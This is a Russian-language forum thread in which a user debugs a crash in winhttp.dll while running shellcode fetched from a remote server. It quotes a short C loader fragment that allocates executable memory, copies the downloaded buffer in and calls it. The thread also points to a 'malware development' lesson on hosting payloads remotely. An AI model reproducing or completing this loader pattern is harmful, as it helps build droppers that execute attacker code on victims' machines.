Вызвано исключение по адресу (winhttp.dll)


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
А куда впихнуть задержку , если сделать до вызыва pshell() , просто будет такая же ошибка
Т. е. если шелл не запускать тоже будет ошибка ?
Я думал сделать задержку после запуска шелла, что-бы основной процесс не закрылся пока шелл выполняется.
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Т. е. если шелл не запускать тоже будет ошибка ?
Я думал сделать задержку после запуска шелла, что-бы основной процесс не закрылся пока шелл выполняется.
Код , который вызывает ошибку
Код:
PVOID buffer = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

RtlMoveMemory(buffer, pszOutBuffer, dwSize);

typedef VOID(WINAPI* fnShellcodefunc)();
fnShellcodefunc pShell = (fnShellcodefunc)buffer;

pShell();
Если убрать вызов pShell(); ошибка пропадает , но shellcode не запускается
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Да что-то идеи закончились.)
Но шеллкод рабочий, не думаю что дело в нем.
Какая-то проблема в использовании winhttp.:(
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Да что-то тдеи закончились.)
Но шеллкод рабочий, не думаю что дело в нем.
Какая-то проблема в использовании winhttp.:(
вот именно что рабочий , но почему-то происходит краш , ну ладно , перепишу при помощи чего нибудь другого не winhttp, спасибо всем кто пытался мне помочь
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Решим переписать все на WinInet , как в этой статье Уроки - Разработка малвари-14. Размещаем Payload удаленно на сервере , у меня появлялась такая же ошибка , начал тестировать payload. MessageBox, работает хорошо и не вызывает ошибку
1705432003672.png
 
Верх Низ